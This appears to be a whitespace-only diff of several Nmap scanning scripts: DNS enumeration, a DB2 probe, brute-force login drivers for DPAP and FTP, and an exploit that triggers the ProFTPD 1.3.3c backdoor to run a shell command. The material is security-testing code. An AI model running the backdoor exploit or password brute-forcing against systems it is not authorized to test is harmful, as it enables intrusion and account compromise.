engine.options.passonly = true
|
||||||
engine.options.firstonly = false
|
engine.options.firstonly = false
|
||||||
engine.options.nostore = true
|
engine.options.nostore = true
|
||||||
engine.iterator = brute.Iterators.account_iterator({""}, repos, "user")
|
engine.iterator = brute.Iterators.account_iterator({""}, repos, "user")
|
||||||
if ( repofile ) then engine.iterator = unpwdb.concat_iterators(engine.iterator,repository_iterator()) end
|
if ( repofile ) then engine.iterator = unpwdb.concat_iterators(engine.iterator,repository_iterator()) end
|
||||||
status, result = engine:start()
|
status, result = engine:start()
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -45,82 +45,82 @@ local arg_mask = stdnse.get_script_args(SCRIPT_NAME .. ".mask")
|
|||||||
-- netmask syntax; then looks for a "mask" script argument if that fails. The
|
-- netmask syntax; then looks for a "mask" script argument if that fails. The
|
||||||
-- "/" syntax wins over "mask" if both are present.
|
-- "/" syntax wins over "mask" if both are present.
|
||||||
local function get_prefix_mask(arg_prefix, arg_mask)
|
local function get_prefix_mask(arg_prefix, arg_mask)
|
||||||
if not arg_prefix then
|
if not arg_prefix then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
local prefix, mask = string.match(arg_prefix, "^(.*)/(.*)$")
|
local prefix, mask = string.match(arg_prefix, "^(.*)/(.*)$")
|
||||||
if not mask then
|
if not mask then
|
||||||
prefix, mask = arg_prefix, arg_mask
|
prefix, mask = arg_prefix, arg_mask
|
||||||
end
|
end
|
||||||
return prefix, mask
|
return prefix, mask
|
||||||
end
|
end
|
||||||
|
|
||||||
prerule = function()
|
prerule = function()
|
||||||
local prefix, mask = get_prefix_mask(arg_prefix, arg_mask)
|
local prefix, mask = get_prefix_mask(arg_prefix, arg_mask)
|
||||||
return prefix and mask
|
return prefix and mask
|
||||||
end
|
end
|
||||||
|
|
||||||
local function query_prefix(query, result)
|
local function query_prefix(query, result)
|
||||||
local condvar = nmap.condvar(result)
|
local condvar = nmap.condvar(result)
|
||||||
local status, res = dns.query(query, { dtype='PTR' })
|
local status, res = dns.query(query, { dtype='PTR' })
|
||||||
if ( not(status) and res == "No Answers") then
|
if ( not(status) and res == "No Answers") then
|
||||||
table.insert(result, query)
|
table.insert(result, query)
|
||||||
elseif ( status ) then
|
elseif ( status ) then
|
||||||
local ip = query:sub(1, -10):gsub('%.',''):reverse():gsub('(....)', '%1:'):sub(1, -2)
|
local ip = query:sub(1, -10):gsub('%.',''):reverse():gsub('(....)', '%1:'):sub(1, -2)
|
||||||
ip = ipOps.bin_to_ip(ipOps.ip_to_bin(ip))
|
ip = ipOps.bin_to_ip(ipOps.ip_to_bin(ip))
|
||||||
table.insert(result, { ptr = res, query = query, ip = ip } )
|
table.insert(result, { ptr = res, query = query, ip = ip } )
|
||||||
end
|
end
|
||||||
condvar "signal"
|
condvar "signal"
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
|
|
||||||
local prefix, mask = get_prefix_mask(arg_prefix, arg_mask)
|
local prefix, mask = get_prefix_mask(arg_prefix, arg_mask)
|
||||||
local query = dns.reverse(prefix)
|
local query = dns.reverse(prefix)
|
||||||
|
|
||||||
-- cut the query name down to the length of the prefix
|
-- cut the query name down to the length of the prefix
|
||||||
local len = (( mask / 8 ) * 4) + #(".ip6.arpa") - 1
|
local len = (( mask / 8 ) * 4) + #(".ip6.arpa") - 1
|
||||||
|
|
||||||
local found = { query:sub(-len) }
|
local found = { query:sub(-len) }
|
||||||
local threads = {}
|
local threads = {}
|
||||||
|
|
||||||
local i = 20
|
local i = 20
|
||||||
|
|
||||||
local result
|
local result
|
||||||
repeat
|
repeat
|
||||||
result = {}
|
result = {}
|
||||||
for _, f in ipairs(found) do
|
for _, f in ipairs(found) do
|
||||||
for q in ("0123456789abcdef"):gmatch("(%w)") do
|
for q in ("0123456789abcdef"):gmatch("(%w)") do
|
||||||
local co = stdnse.new_thread(query_prefix, q .. "." .. f, result)
|
local co = stdnse.new_thread(query_prefix, q .. "." .. f, result)
|
||||||
threads[co] = true
|
threads[co] = true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local condvar = nmap.condvar(result)
|
local condvar = nmap.condvar(result)
|
||||||
repeat
|
repeat
|
||||||
for t in pairs(threads) do
|
for t in pairs(threads) do
|
||||||
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
|
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
|
||||||
end
|
end
|
||||||
if ( next(threads) ) then
|
if ( next(threads) ) then
|
||||||
condvar "wait"
|
condvar "wait"
|
||||||
end
|
end
|
||||||
until( next(threads) == nil )
|
until( next(threads) == nil )
|
||||||
|
|
||||||
if ( 0 == #result ) then
|
if ( 0 == #result ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
found = result
|
found = result
|
||||||
i = i + 1
|
i = i + 1
|
||||||
until( 128 == i * 2 + mask )
|
until( 128 == i * 2 + mask )
|
||||||
|
|
||||||
table.sort(result, function(a,b) return (a.ip < b.ip) end)
|
table.sort(result, function(a,b) return (a.ip < b.ip) end)
|
||||||
local output = tab.new(2)
|
local output = tab.new(2)
|
||||||
tab.addrow(output, "ip", "ptr")
|
tab.addrow(output, "ip", "ptr")
|
||||||
|
|
||||||
for _, item in ipairs(result) do
|
for _, item in ipairs(result) do
|
||||||
tab.addrow(output, item.ip, item.ptr)
|
tab.addrow(output, item.ip, item.ptr)
|
||||||
end
|
end
|
||||||
|
|
||||||
return "\n" .. tab.dump(output)
|
return "\n" .. tab.dump(output)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -45,50 +45,50 @@ categories = {"discovery", "default"}
|
|||||||
portrule = shortport.port_or_service(53, "domain", {"tcp", "udp"})
|
portrule = shortport.port_or_service(53, "domain", {"tcp", "udp"})
|
||||||
|
|
||||||
local function rr_filter(pktRR, label)
|
local function rr_filter(pktRR, label)
|
||||||
for _, rec in ipairs(pktRR, label) do
|
for _, rec in ipairs(pktRR, label) do
|
||||||
if ( rec[label] and 0 < #rec.data ) then
|
if ( rec[label] and 0 < #rec.data ) then
|
||||||
if ( dns.types.OPT == rec.dtype ) then
|
if ( dns.types.OPT == rec.dtype ) then
|
||||||
local pos, _, len = bin.unpack(">SS", rec.data)
|
local pos, _, len = bin.unpack(">SS", rec.data)
|
||||||
if ( len ~= #rec.data - pos + 1 ) then
|
if ( len ~= #rec.data - pos + 1 ) then
|
||||||
return false, "Failed to decode NSID"
|
return false, "Failed to decode NSID"
|
||||||
end
|
end
|
||||||
return true, select(2, bin.unpack("A" .. len, rec.data, pos))
|
return true, select(2, bin.unpack("A" .. len, rec.data, pos))
|
||||||
else
|
else
|
||||||
return true, select(2, bin.unpack("p", rec.data))
|
return true, select(2, bin.unpack("p", rec.data))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local result = stdnse.output_table()
|
local result = stdnse.output_table()
|
||||||
local flag = false
|
local flag = false
|
||||||
local status, resp = dns.query("id.server", {host = host.ip, port=port.number, proto=port.protocol, dtype='TXT', class=dns.CLASS.CH, retAll=true, retPkt=true, nsid=true, dnssec=true})
|
local status, resp = dns.query("id.server", {host = host.ip, port=port.number, proto=port.protocol, dtype='TXT', class=dns.CLASS.CH, retAll=true, retPkt=true, nsid=true, dnssec=true})
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
local status, nsid = rr_filter(resp.add,'OPT')
|
local status, nsid = rr_filter(resp.add,'OPT')
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
flag = true
|
flag = true
|
||||||
-- RFC 5001 says NSID can be any arbitrary bytes, and should be displayed
|
-- RFC 5001 says NSID can be any arbitrary bytes, and should be displayed
|
||||||
-- as hex, but often it is a readable string. Store both.
|
-- as hex, but often it is a readable string. Store both.
|
||||||
result["NSID"] = { raw = nsid, hex = stdnse.tohex(nsid) }
|
result["NSID"] = { raw = nsid, hex = stdnse.tohex(nsid) }
|
||||||
setmetatable(result["NSID"], {
|
setmetatable(result["NSID"], {
|
||||||
__tostring = function(t)
|
__tostring = function(t)
|
||||||
return ("%s (%s)"):format(t.raw, t.hex)
|
return ("%s (%s)"):format(t.raw, t.hex)
|
||||||
end
|
end
|
||||||
})
|
})
|
||||||
end
|
end
|
||||||
local status, id_server = rr_filter(resp.answers,'TXT')
|
local status, id_server = rr_filter(resp.answers,'TXT')
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
flag = true
|
flag = true
|
||||||
result["id.server"] = id_server
|
result["id.server"] = id_server
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
local status, bind_version = dns.query("version.bind", {host = host.ip, port=port.number, proto=port.protocol, dtype='TXT', class=dns.CLASS.CH})
|
local status, bind_version = dns.query("version.bind", {host = host.ip, port=port.number, proto=port.protocol, dtype='TXT', class=dns.CLASS.CH})
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
flag = true
|
flag = true
|
||||||
result["bind.version"] = bind_version
|
result["bind.version"] = bind_version
|
||||||
end
|
end
|
||||||
if flag then
|
if flag then
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -35,90 +35,90 @@ portrule = shortport.port_or_service(8770, "apple-iphoto")
|
|||||||
|
|
||||||
Driver = {
|
Driver = {
|
||||||
|
|
||||||
new = function(self, host, port)
|
new = function(self, host, port)
|
||||||
local o = {}
|
local o = {}
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
o.host = host
|
o.host = host
|
||||||
o.port = port
|
o.port = port
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function( self )
|
connect = function( self )
|
||||||
self.socket = nmap.new_socket()
|
self.socket = nmap.new_socket()
|
||||||
self.socket:set_timeout(5000)
|
self.socket:set_timeout(5000)
|
||||||
return self.socket:connect(self.host, self.port, "tcp")
|
return self.socket:connect(self.host, self.port, "tcp")
|
||||||
end,
|
end,
|
||||||
|
|
||||||
login = function( self, username, password )
|
login = function( self, username, password )
|
||||||
local data = "GET dpap://%s:%d/login HTTP/1.1\r\n" ..
|
local data = "GET dpap://%s:%d/login HTTP/1.1\r\n" ..
|
||||||
"User-Agent: iPhoto/9.1.1 (Macintosh; N; PPC)\r\n" ..
|
"User-Agent: iPhoto/9.1.1 (Macintosh; N; PPC)\r\n" ..
|
||||||
"Host: %s\r\n" ..
|
"Host: %s\r\n" ..
|
||||||
"Authorization: Basic %s\r\n" ..
|
"Authorization: Basic %s\r\n" ..
|
||||||
"Client-DPAP-Version: 1.1\r\n" ..
|
"Client-DPAP-Version: 1.1\r\n" ..
|
||||||
"\r\n\r\n"
|
"\r\n\r\n"
|
||||||
|
|
||||||
local c = base64.enc("nmap:" .. password)
|
local c = base64.enc("nmap:" .. password)
|
||||||
data = data:format( self.host.ip, self.port.number, self.host.ip, c )
|
data = data:format( self.host.ip, self.port.number, self.host.ip, c )
|
||||||
|
|
||||||
local status = self.socket:send( data )
|
local status = self.socket:send( data )
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
local err = brute.Error:new( "Failed to send data to DPAP server" )
|
local err = brute.Error:new( "Failed to send data to DPAP server" )
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
status, data = self.socket:receive()
|
status, data = self.socket:receive()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
local err = brute.Error:new( "Failed to receive data from DPAP server" )
|
local err = brute.Error:new( "Failed to receive data from DPAP server" )
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( data:match("^HTTP/1.1 200 OK") ) then
|
if ( data:match("^HTTP/1.1 200 OK") ) then
|
||||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||||
end
|
end
|
||||||
|
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function( self )
|
disconnect = function( self )
|
||||||
self.socket:close()
|
self.socket:close()
|
||||||
end,
|
end,
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
local function checkEmptyPassword(host, port)
|
local function checkEmptyPassword(host, port)
|
||||||
local d = Driver:new(host, port)
|
local d = Driver:new(host, port)
|
||||||
local status = d:connect()
|
local status = d:connect()
|
||||||
|
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
status = d:login("", "")
|
status = d:login("", "")
|
||||||
d:disconnect()
|
d:disconnect()
|
||||||
|
|
||||||
return status
|
return status
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
if ( checkEmptyPassword(host, port) ) then
|
if ( checkEmptyPassword(host, port) ) then
|
||||||
return "Library has no password"
|
return "Library has no password"
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, result
|
local status, result
|
||||||
local engine = brute.Engine:new(Driver, host, port )
|
local engine = brute.Engine:new(Driver, host, port )
|
||||||
|
|
||||||
engine.options.firstonly = true
|
engine.options.firstonly = true
|
||||||
engine.options:setOption( "passonly", true )
|
engine.options:setOption( "passonly", true )
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
|
|
||||||
status, result = engine:start()
|
status, result = engine:start()
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -43,72 +43,72 @@ portrule = shortport.version_port_or_service({50000,60000,9090,1526,1527},
|
|||||||
-- @param server_version string containing the product release
|
-- @param server_version string containing the product release
|
||||||
-- @return ver string containing the version information
|
-- @return ver string containing the version information
|
||||||
local function parseVersion( server_version )
|
local function parseVersion( server_version )
|
||||||
local pfx = string.sub(server_version,1,3)
|
local pfx = string.sub(server_version,1,3)
|
||||||
|
|
||||||
if pfx == "SQL" or pfx == "IFX" then
|
if pfx == "SQL" or pfx == "IFX" then
|
||||||
local major_version = string.sub(server_version,4,5)
|
local major_version = string.sub(server_version,4,5)
|
||||||
|
|
||||||
-- strip the leading 0 from the major version, for consistency with
|
-- strip the leading 0 from the major version, for consistency with
|
||||||
-- nmap-service-probes results
|
-- nmap-service-probes results
|
||||||
if string.sub(major_version,1,1) == "0" then
|
if string.sub(major_version,1,1) == "0" then
|
||||||
major_version = string.sub(major_version,2)
|
major_version = string.sub(major_version,2)
|
||||||
end
|
end
|
||||||
local minor_version = string.sub(server_version,6,7)
|
local minor_version = string.sub(server_version,6,7)
|
||||||
local hotfix = string.sub(server_version,8)
|
local hotfix = string.sub(server_version,8)
|
||||||
server_version = major_version .. "." .. minor_version .. "." .. hotfix
|
server_version = major_version .. "." .. minor_version .. "." .. hotfix
|
||||||
elseif( pfx == "CSS" ) then
|
elseif( pfx == "CSS" ) then
|
||||||
return server_version:match("%w+/(.*)")
|
return server_version:match("%w+/(.*)")
|
||||||
end
|
end
|
||||||
|
|
||||||
return server_version
|
return server_version
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
|
|
||||||
local helper = drda.Helper:new()
|
local helper = drda.Helper:new()
|
||||||
local status, response
|
local status, response
|
||||||
local results = {}
|
local results = {}
|
||||||
|
|
||||||
status, response = helper:connect(host, port)
|
status, response = helper:connect(host, port)
|
||||||
if( not(status) ) then
|
if( not(status) ) then
|
||||||
return response
|
return response
|
||||||
end
|
end
|
||||||
|
|
||||||
status, response = helper:getServerInfo()
|
status, response = helper:getServerInfo()
|
||||||
if( not(status) ) then
|
if( not(status) ) then
|
||||||
return response
|
return response
|
||||||
end
|
end
|
||||||
|
|
||||||
helper:close()
|
helper:close()
|
||||||
|
|
||||||
-- Set port information
|
-- Set port information
|
||||||
if ( response.srvclass and response.srvclass:match("IDS/") ) then
|
if ( response.srvclass and response.srvclass:match("IDS/") ) then
|
||||||
port.version.name = "drda"
|
port.version.name = "drda"
|
||||||
port.version.product = "IBM Informix Dynamic Server"
|
port.version.product = "IBM Informix Dynamic Server"
|
||||||
port.version.name_confidence = 10
|
port.version.name_confidence = 10
|
||||||
table.insert( results, ("Informix Version: %s"):format( parseVersion(response.prodrel) ) )
|
table.insert( results, ("Informix Version: %s"):format( parseVersion(response.prodrel) ) )
|
||||||
elseif ( response.srvclass and response.srvclass:match("Apache Derby") ) then
|
elseif ( response.srvclass and response.srvclass:match("Apache Derby") ) then
|
||||||
port.version.name = "drda"
|
port.version.name = "drda"
|
||||||
port.version.product = "Apache Derby Server"
|
port.version.product = "Apache Derby Server"
|
||||||
port.version.name_confidence = 10
|
port.version.name_confidence = 10
|
||||||
table.insert( results, ("Derby Version: %s"):format( parseVersion(response.prodrel) ) )
|
table.insert( results, ("Derby Version: %s"):format( parseVersion(response.prodrel) ) )
|
||||||
elseif ( response.srvclass and response.srvclass:match("DB2") ) then
|
elseif ( response.srvclass and response.srvclass:match("DB2") ) then
|
||||||
port.version.name = "drda"
|
port.version.name = "drda"
|
||||||
port.version.product = "IBM DB2 Database Server"
|
port.version.product = "IBM DB2 Database Server"
|
||||||
port.version.name_confidence = 10
|
port.version.name_confidence = 10
|
||||||
table.insert( results, ("DB2 Version: %s"):format( parseVersion(response.prodrel) ) )
|
table.insert( results, ("DB2 Version: %s"):format( parseVersion(response.prodrel) ) )
|
||||||
else
|
else
|
||||||
table.insert( results, ("Version: %s"):format( response.prodrel ) )
|
table.insert( results, ("Version: %s"):format( response.prodrel ) )
|
||||||
end
|
end
|
||||||
nmap.set_port_state(host, port, "open")
|
nmap.set_port_state(host, port, "open")
|
||||||
if response.srvclass ~= nil then port.version.extrainfo = response.srvclass end
|
if response.srvclass ~= nil then port.version.extrainfo = response.srvclass end
|
||||||
|
|
||||||
nmap.set_port_version(host, port)
|
nmap.set_port_version(host, port)
|
||||||
|
|
||||||
-- Generate results
|
-- Generate results
|
||||||
table.insert( results, ("Server Platform: %s"):format( response.srvclass ) )
|
table.insert( results, ("Server Platform: %s"):format( response.srvclass ) )
|
||||||
table.insert( results, ("Instance Name: %s"):format( response.srvname ) )
|
table.insert( results, ("Instance Name: %s"):format( response.srvname ) )
|
||||||
table.insert( results, ("External Name: %s"):format( response.extname ) )
|
table.insert( results, ("External Name: %s"):format( response.extname ) )
|
||||||
|
|
||||||
return stdnse.format_output( true, results )
|
return stdnse.format_output( true, results )
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -42,84 +42,84 @@ arg_timeout = (arg_timeout or 5) * 1000
|
|||||||
|
|
||||||
Driver = {
|
Driver = {
|
||||||
|
|
||||||
new = function(self, host, port)
|
new = function(self, host, port)
|
||||||
local o = {}
|
local o = {}
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
o.host = host
|
o.host = host
|
||||||
o.port = port
|
o.port = port
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function( self )
|
connect = function( self )
|
||||||
self.socket = nmap.new_socket()
|
self.socket = nmap.new_socket()
|
||||||
local status, err = self.socket:connect(self.host, self.port)
|
local status, err = self.socket:connect(self.host, self.port)
|
||||||
self.socket:set_timeout(arg_timeout)
|
self.socket:set_timeout(arg_timeout)
|
||||||
if(not(status)) then
|
if(not(status)) then
|
||||||
return false, brute.Error:new( "Couldn't connect to host: " .. err )
|
return false, brute.Error:new( "Couldn't connect to host: " .. err )
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
login = function (self, user, pass)
|
login = function (self, user, pass)
|
||||||
local status, err
|
local status, err
|
||||||
local res = ""
|
local res = ""
|
||||||
|
|
||||||
|
|
||||||
status, err = self.socket:send("USER " .. user .. "\r\n")
|
status, err = self.socket:send("USER " .. user .. "\r\n")
|
||||||
if(not(status)) then
|
if(not(status)) then
|
||||||
return false, brute.Error:new("Couldn't send login: " .. err)
|
return false, brute.Error:new("Couldn't send login: " .. err)
|
||||||
end
|
end
|
||||||
|
|
||||||
status, err = self.socket:send("PASS " .. pass .. "\n\n")
|
status, err = self.socket:send("PASS " .. pass .. "\n\n")
|
||||||
if(not(status)) then
|
if(not(status)) then
|
||||||
return false, brute.Error:new("Couldn't send login: " .. err)
|
return false, brute.Error:new("Couldn't send login: " .. err)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Create a buffer and receive the first line
|
-- Create a buffer and receive the first line
|
||||||
local buffer = stdnse.make_buffer(self.socket, "\r?\n")
|
local buffer = stdnse.make_buffer(self.socket, "\r?\n")
|
||||||
local line = buffer()
|
local line = buffer()
|
||||||
|
|
||||||
-- Loop over the lines
|
-- Loop over the lines
|
||||||
while(line)do
|
while(line)do
|
||||||
stdnse.print_debug("Received: %s", line)
|
stdnse.print_debug("Received: %s", line)
|
||||||
if(string.match(line, "^230")) then
|
if(string.match(line, "^230")) then
|
||||||
stdnse.print_debug(1, "ftp-brute: Successful login: %s/%s", user, pass)
|
stdnse.print_debug(1, "ftp-brute: Successful login: %s/%s", user, pass)
|
||||||
return true, brute.Account:new( user, pass, creds.State.VALID)
|
return true, brute.Account:new( user, pass, creds.State.VALID)
|
||||||
elseif(string.match(line, "^530")) then
|
elseif(string.match(line, "^530")) then
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
elseif(string.match(line, "^220")) then
|
elseif(string.match(line, "^220")) then
|
||||||
elseif(string.match(line, "^331")) then
|
elseif(string.match(line, "^331")) then
|
||||||
else
|
else
|
||||||
stdnse.print_debug(1, "ftp-brute: WARNING: Unhandled response: %s", line)
|
stdnse.print_debug(1, "ftp-brute: WARNING: Unhandled response: %s", line)
|
||||||
local err = brute.Error:new("Unhandled response")
|
local err = brute.Error:new("Unhandled response")
|
||||||
err:setRetry(true)
|
err:setRetry(true)
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
line = buffer()
|
line = buffer()
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
return false, brute.Error:new("Login didn't return a proper response")
|
return false, brute.Error:new("Login didn't return a proper response")
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function( self )
|
disconnect = function( self )
|
||||||
self.socket:close()
|
self.socket:close()
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
|
|
||||||
local status, result
|
local status, result
|
||||||
local engine = brute.Engine:new(Driver, host, port)
|
local engine = brute.Engine:new(Driver, host, port)
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
|
|
||||||
|
|
||||||
status, result = engine:start()
|
status, result = engine:start()
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -35,91 +35,91 @@ local CMD_FTP = "HELP ACIDBITCHEZ"
|
|||||||
local CMD_SHELL = "id"
|
local CMD_SHELL = "id"
|
||||||
|
|
||||||
portrule = function (host, port)
|
portrule = function (host, port)
|
||||||
-- Check if version detection knows what FTP server this is.
|
-- Check if version detection knows what FTP server this is.
|
||||||
if port.version.product ~= nil and port.version.product ~= "ProFTPD" then
|
if port.version.product ~= nil and port.version.product ~= "ProFTPD" then
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check if version detection knows what version of FTP server this is.
|
-- Check if version detection knows what version of FTP server this is.
|
||||||
if port.version.version ~= nil and port.version.version ~= "1.3.3c" then
|
if port.version.version ~= nil and port.version.version ~= "1.3.3c" then
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
return shortport.port_or_service(21, "ftp")(host, port)
|
return shortport.port_or_service(21, "ftp")(host, port)
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local cmd, err, line, req, resp, results, sock, status
|
local cmd, err, line, req, resp, results, sock, status
|
||||||
|
|
||||||
-- Get script arguments.
|
-- Get script arguments.
|
||||||
cmd = stdnse.get_script_args("ftp-proftpd-backdoor.cmd")
|
cmd = stdnse.get_script_args("ftp-proftpd-backdoor.cmd")
|
||||||
if not cmd then
|
if not cmd then
|
||||||
cmd = CMD_SHELL
|
cmd = CMD_SHELL
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Create socket.
|
-- Create socket.
|
||||||
sock = nmap.new_socket("tcp")
|
sock = nmap.new_socket("tcp")
|
||||||
sock:set_timeout(5000)
|
sock:set_timeout(5000)
|
||||||
status, err = sock:connect(host, port, "tcp")
|
status, err = sock:connect(host, port, "tcp")
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.print_debug(1, "Can't connect: %s", err)
|
stdnse.print_debug(1, "Can't connect: %s", err)
|
||||||
sock:close()
|
sock:close()
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Read banner.
|
-- Read banner.
|
||||||
local buffer = stdnse.make_buffer(sock, "\r?\n")
|
local buffer = stdnse.make_buffer(sock, "\r?\n")
|
||||||
local code, message = ftp.read_reply(buffer)
|
local code, message = ftp.read_reply(buffer)
|
||||||
if not code then
|
if not code then
|
||||||
stdnse.print_debug(1, "Can't read banner: %s", message)
|
stdnse.print_debug(1, "Can't read banner: %s", message)
|
||||||
sock:close()
|
sock:close()
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check version.
|
-- Check version.
|
||||||
if not message:match("ProFTPD 1.3.3c") then
|
if not message:match("ProFTPD 1.3.3c") then
|
||||||
stdnse.print_debug(1, "This version is not known to be backdoored.")
|
stdnse.print_debug(1, "This version is not known to be backdoored.")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Send command to escalate privilege.
|
-- Send command to escalate privilege.
|
||||||
status, err = sock:send(CMD_FTP .. "\r\n")
|
status, err = sock:send(CMD_FTP .. "\r\n")
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.print_debug(1, "Failed to send privilege escalation command: %s", err)
|
stdnse.print_debug(1, "Failed to send privilege escalation command: %s", err)
|
||||||
sock:close()
|
sock:close()
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check if escalation worked.
|
-- Check if escalation worked.
|
||||||
code, message = ftp.read_reply(buffer)
|
code, message = ftp.read_reply(buffer)
|
||||||
if code and code == 502 then
|
if code and code == 502 then
|
||||||
stdnse.print_debug(1, "Privilege escalation failed: %s", message)
|
stdnse.print_debug(1, "Privilege escalation failed: %s", message)
|
||||||
sock:close()
|
sock:close()
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Send command(s) to shell.
|
-- Send command(s) to shell.
|
||||||
status, err = sock:send(cmd .. ";\r\n")
|
status, err = sock:send(cmd .. ";\r\n")
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.print_debug(1, "Failed to send shell command(s): %s", err)
|
stdnse.print_debug(1, "Failed to send shell command(s): %s", err)
|
||||||
sock:close()
|
sock:close()
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check for an error from command.
|
-- Check for an error from command.
|
||||||
status, resp = sock:receive()
|
status, resp = sock:receive()
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.print_debug(1, "Can't read command response: %s", resp)
|
stdnse.print_debug(1, "Can't read command response: %s", resp)
|
||||||
sock:close()
|
sock:close()
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Summarize the results.
|
-- Summarize the results.
|
||||||
results = {
|
results = {
|
||||||
"This installation has been backdoored.",
|
"This installation has been backdoored.",
|
||||||
"Command: " .. CMD_SHELL,
|
"Command: " .. CMD_SHELL,
|
||||||
"Results: " .. resp
|
"Results: " .. resp
|
||||||
}
|
}
|
||||||
|
|
||||||
return stdnse.format_output(true, results)
|
return stdnse.format_output(true, results)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -49,70 +49,70 @@ categories = {"default", "discovery", "safe"}
|
|||||||
|
|
||||||
|
|
||||||
portrule = function(host, port)
|
portrule = function(host, port)
|
||||||
-- Run for the special port number, or for any HTTP-like service that is
|
-- Run for the special port number, or for any HTTP-like service that is
|
||||||
-- not on a usual HTTP port.
|
-- not on a usual HTTP port.
|
||||||
return shortport.port_or_service ({50090}, "hadoop-secondary-namenode")(host, port)
|
return shortport.port_or_service ({50090}, "hadoop-secondary-namenode")(host, port)
|
||||||
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
|
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
|
|
||||||
local result = {}
|
local result = {}
|
||||||
local uri = "/status.jsp"
|
local uri = "/status.jsp"
|
||||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||||
local response = http.get( host, port, uri )
|
local response = http.get( host, port, uri )
|
